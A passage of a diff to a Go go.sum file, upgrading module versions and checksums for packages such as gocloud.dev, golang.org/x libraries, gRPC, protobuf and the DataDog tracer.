h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E= -gocloud.dev v0.37.0 h1:XF1rN6R0qZI/9DYjN16Uy0durAmSlf58DHOcb28GPro= -gocloud.dev v0.37.0/go.mod h1:7/O4kqdInCNsc6LqgmuFnS0GRew4XNNYWpA44yQnwco= +gocloud.dev v0.40.0 h1:f8LgP+4WDqOG/RXoUcyLpeIAGOcAbZrZbDQCUee10ng= +gocloud.dev v0.40.0/go.mod h1:drz+VyYNBvrMTW0KZiBAYEdl8lbNZx+OQ7oQvdrFmSQ= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= @@ -744,15 +871,14 @@ golang.org/x/crypto v0.0.0-20201117144127-c1f2f97bffc9/go.mod h1:jdWPYTVW3xRLrWP golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= golang.org/x/crypto v0.18.0/go.mod h1:R0j02AL6hcrfOiy9T4ZYp/rcWeMxM3L6QYxlOuEG1mg= -golang.org/x/crypto v0.24.0 h1:mnl8DM0o513X8fdIkmyFE/5hTYxbwYOjDS/+rK6qpRI= -golang.org/x/crypto v0.24.0/go.mod h1:Z1PMYSOR5nyMcyAVAIQSKCDwalqy85Aqn1x3Ws4L5DM= +golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc= +golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20240604190554-fc45aab8b7f8 h1:LoYXNGAShUG3m/ehNk4iFctuhGX/+R1ZpfJ4/ia80JM= -golang.org/x/exp v0.0.0-20240604190554-fc45aab8b7f8/go.mod h1:jj3sYF3dwk5D+ghuXyeI3r5MFf+NT2An6/9dOA95KSI= +golang.org/x/exp v0.0.0-20250218142911-aa4b98e5adaa h1:t2QcU6V556bFjYgu4L6C+6VrCPyJZ+eyRsABUPs1mz4= +golang.org/x/exp v0.0.0-20250218142911-aa4b98e5adaa/go.mod h1:BHOTPb3L19zxehTsLoJXVaTktb06DFgmdW6Wb9s8jqk= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= @@ -760,8 +886,8 @@ golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91 golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.14.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= -golang.org/x/mod v0.18.0 h1:5+9lSbEzPSdWkH32vYPBwEpX8KwDbM52Ud9xBUvNlb0= -golang.org/x/mod v0.18.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +golang.org/x/mod v0.23.0 h1:Zb7khfcRGKk+kqfxFaP5tZqCnDZMjC5VtUBs87Hr6QM= +golang.org/x/mod v0.23.0/go.mod h1:6SkKJ3Xj0I0BrPOZoBy3bdMptDDU9oJrpohJ3eWZ1fY= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -782,11 +908,11 @@ golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= golang.org/x/net v0.20.0/go.mod h1:z8BVo6PvndSri0LbOE3hAn0apkU+1YvI6E70E9jsnvY= -golang.org/x/net v0.26.0 h1:soB7SVo0PWrY4vPW/+ay0jKDNScG2X9wFeYlXIvJsOQ= -golang.org/x/net v0.26.0/go.mod h1:5YKkiSynbBIh3p6iOc/vibscux0x38BZDkn8sCUPxHE= +golang.org/x/net v0.34.0 h1:Mb7Mrk043xzHgnRM88suvJFwzVrRfHEHJEl5/71CKw0= +golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/oauth2 v0.21.0 h1:tsimM75w1tF/uws5rbeHzIWxEqElMehnc+iW793zsZs= -golang.org/x/oauth2 v0.21.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= +golang.org/x/oauth2 v0.25.0 h1:CY4y7XT9v0cRI9oupztF8AgiIu99L/ksR/Xp/6jrZ70= +golang.org/x/oauth2 v0.25.0/go.mod h1:XYTD2NtWslqkgxebSiOHnXEap4TF09sJSc7H1sXbhtI= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -798,8 +924,9 @@ golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= -golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M= -golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sync v0.11.0 h1:GGz8+XQP4FvTTrjZPzNKTMFtSXH80RAzG+5ghFPgK9w= +golang.org/x/sync v0.11.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -807,19 +934,19 @@ golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5h golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190801041406-cbf593c0f2f3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210331175145-43e1dd70ce54/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220627191245-f75cf1eec38b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -830,10 +957,12 @@ golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= -golang.org/x/sys v0.21.0 h1:rF+pYz3DAGSQAxAu1CbC7catZg4ebC4UIeIhKxBZvws= -golang.org/x/sys v0.21.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.30.0 h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc= +golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= @@ -841,8 +970,8 @@ golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= golang.org/x/term v0.16.0/go.mod h1:yn7UURbUtPyrVJPGPq404EukNFxcm/foM+bV/bfcDsY= -golang.org/x/term v0.21.0 h1:WVXCp+/EBEHOj53Rvu+7KiT/iElMrO8ACK16SMZ3jaA= -golang.org/x/term v0.21.0/go.mod h1:ooXLefLobQVslOqselCNF4SxFAaoS6KujMbsGzSDmX0= +golang.org/x/term v0.28.0 h1:/Ts8HFuMR2E6IP/jlo7QVLZHggjKQbhu/7H0LJFr3Gg= +golang.org/x/term v0.28.0/go.mod h1:Sw/lC2IAUZ92udQNf3WodGtn4k/XoLyZoh8v/8uiwek= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= @@ -852,16 +981,15 @@ golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= -golang.org/x/text v0.16.0 h1:a94ExnEXNtEwYLGJSIUxnWoxoRz/ZcCsV63ROupILh4= -golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI= -golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk= -golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= +golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= +golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= +golang.org/x/time v0.8.0 h1:9i3RxcPv3PZnitoVGMPDKZSq1xW1gK1Xy3ArNOGZfEg= +golang.org/x/time v0.8.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20191108193012-7d206e10da11/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= @@ -870,39 +998,39 @@ golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= golang.org/x/tools v0.17.0/go.mod h1:xsh6VxdV005rRVaS6SSAf9oiAqljS7UZUacMZ8Bnsps= -golang.org/x/tools v0.22.0 h1:gqSGLZqv+AI9lIQzniJ0nZDRG5GBPsSi+DRNHWNz6yA= -golang.org/x/tools v0.22.0/go.mod h1:aCwcsjqvq7Yqt6TNyX7QMU2enbQ/Gt0bo6krSeEri+c= +golang.org/x/tools v0.30.0 h1:BgcpHewrV5AUp2G9MebG4XPFI1E2W41zU1SaqVA9vJY= +golang.org/x/tools v0.30.0/go.mod h1:c347cR/OJfw5TI+GfX7RUPNMdDRRbjvYTS0jPyvsVtY= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028 h1:+cNy6SZtPcJQH3LJVLOSmiC7MMxXNOb3PU/VUEz+EhU= -golang.org/x/xerrors v0.0.0-20231012003039-104605ab7028/go.mod h1:NDW/Ps6MPRej6fsCIbMTohpP40sJ/P/vI1MoTEGwX90= +golang.org/x/xerrors v0.0.0-20240716161551-93cc26a95ae9 h1:LLhsEBxRTBLuKlQxFBYUOU8xyFgXv6cOTp2HASDlsDk= +golang.org/x/xerrors v0.0.0-20240716161551-93cc26a95ae9/go.mod h1:NDW/Ps6MPRej6fsCIbMTohpP40sJ/P/vI1MoTEGwX90= gomodules.xyz/jsonpatch/v2 v2.4.0 h1:Ci3iUJyx9UeRx7CeFN8ARgGbkESwJK+KB9lLcWxY/Zw= gomodules.xyz/jsonpatch/v2 v2.4.0/go.mod h1:AH3dM2RI6uoBZxn3LVrfvJ3E0/9dG4cSrbuBJT4moAY= -google.golang.org/api v0.183.0 h1:PNMeRDwo1pJdgNcFQ9GstuLe/noWKIc89pRWRLMvLwE= -google.golang.org/api v0.183.0/go.mod h1:q43adC5/pHoSZTx5h2mSmdF7NcyfW9JuDyIOJAgS9ZQ= +google.golang.org/api v0.215.0 h1:jdYF4qnyczlEz2ReWIsosNLDuzXyvFHJtI5gcr0J7t0= +google.golang.org/api v0.215.0/go.mod h1:fta3CVtuJYOEdugLNWm6WodzOS8KdFckABwN4I40hzY= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= +google.golang.org/appengine v1.6.8 h1:IhEN5q69dyKagZPYMSdIjS2HqprW324FRQZJcGqPAsM= +google.golang.org/appengine v1.6.8/go.mod h1:1jJ3jBArFh5pcgW8gCtRJnepW8FzD1V44FJffLiz/Ds= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= -google.golang.org/genproto v0.0.0-20240604185151-ef581f913117 h1:HCZ6DlkKtCDAtD8ForECsY3tKuaR+p4R3grlK80uCCc= -google.golang.org/genproto v0.0.0-20240604185151-ef581f913117/go.mod h1:lesfX/+9iA+3OdqeCpoDddJaNxVB1AB6tD7EfqMmprc= -google.golang.org/genproto/googleapis/api v0.0.0-20240604185151-ef581f913117 h1:+rdxYoE3E5htTEWIe15GlN6IfvbURM//Jt0mmkmm6ZU= -google.golang.org/genproto/googleapis/api v0.0.0-20240604185151-ef581f913117/go.mod h1:OimBR/bc1wPO9iV4NC2bpyjy3VnAwZh5EBPQdtaE5oo= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240604185151-ef581f913117 h1:1GBuWVLM/KMVUv1t1En5Gs+gFZCNd360GGb4sSxtrhU= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240604185151-ef581f913117/go.mod h1:EfXuqaE1J41VCDicxHzUDm+8rk+7ZdXzHV0IhO/I6s0= +google.golang.org/genproto v0.0.0-20241118233622-e639e219e697 h1:ToEetK57OidYuqD4Q5w+vfEnPvPpuTwedCNVohYJfNk= +google.golang.org/genproto v0.0.0-20241118233622-e639e219e697/go.mod h1:JJrvXBWRZaFMxBufik1a4RpFw4HhgVtBBWQeQgUj2cc= +google.golang.org/genproto/googleapis/api v0.0.0-20241209162323-e6fa225c2576 h1:CkkIfIt50+lT6NHAVoRYEyAvQGFM7xEwXUUywFvEb3Q= +google.golang.org/genproto/googleapis/api v0.0.0-20241209162323-e6fa225c2576/go.mod h1:1R3kvZ1dtP3+4p4d3G8uJ8rFk/fWlScl38vanWACI08= +google.golang.org/genproto/googleapis/rpc v0.0.0-20241223144023-3abc09e42ca8 h1:TqExAhdPaB60Ux47Cn0oLV07rGnxZzIsaRhQaqS666A= +google.golang.org/genproto/googleapis/rpc v0.0.0-20241223144023-3abc09e42ca8/go.mod h1:lcTa1sDdWEIHMWlITnIczmw5w60CF9ffkb8Z+DVmmjA= google.golang.org/grpc v1.0.5/go.mod h1:yo6s7OP7yaDglbqo1J04qKzAhqBH6lvTonzMVmEdcZw= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= -google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= -google.golang.org/grpc v1.64.0 h1:KH3VH9y/MgNQg1dE7b3XfVK0GsPSIzJwdF617gUSbvY= -google.golang.org/grpc v1.64.0/go.mod h1:oxjF8E3FBnjp+/gVFYdWacaLDx9na1aqy9oovLpxQYg= +google.golang.org/grpc v1.70.0 h1:pWFv03aZoHzlRKHWicjsZytKAiYCtNS0dHbXnIdq7jQ= +google.golang.org/grpc v1.70.0/go.mod h1:ofIJqVKDXx/JiXrwr2IG4/zwdH9txy3IlF40RmcJSQw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= @@ -913,11 +1041,11 @@ google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2 google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= -google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.34.1 h1:9ddQBjfCyZPOHPUiPxpYESBLc+T8P3E+Vo4IbKZgFWg= -google.golang.org/protobuf v1.34.1/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= -gopkg.in/DataDog/dd-trace-go.v1 v1.64.1 h1:HN/zoIV8FvrLKA1ZBkbyo4E1MnPh9hPc2Q0C/ojom3I= -gopkg.in/DataDog/dd-trace-go.v1 v1.64.1/go.mod h1:qzwVu8Qr8CqzQNw2oKEXRdD+fMnjYatjYMGE0tdCVG4= +google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= +google.golang.org/protobuf v1.36.5 h1:tPhr+woSbjfYvY6/GPufUoYizxw1cF/yFoxJ2fmpwlM= +google.golang.org/protobuf v1.36.5/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE= +gopkg.in/DataDog/dd-trace-go.v1 v1.72.1 h1:QG2HNpxe9H4WnztDYbdGQJL/5YIiiZ6xY1+wMuQ2c1w= +gopkg.in/DataDog/dd-trace-go.v1 v1.72.1/go.mod h1:XqDhDqsLpThFnJc4z0FvAEItISIAUka+RHwmQ6EfN1U= gopkg.in/airbrake/gobrake.v2 v2.0.9/go.mod h1:/h5ZAUhDkGaJfjzjKLSjv6zCL6O0LLBxU4K+aSYdM/U= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/cenkalti/backoff.v1 v1.1.0 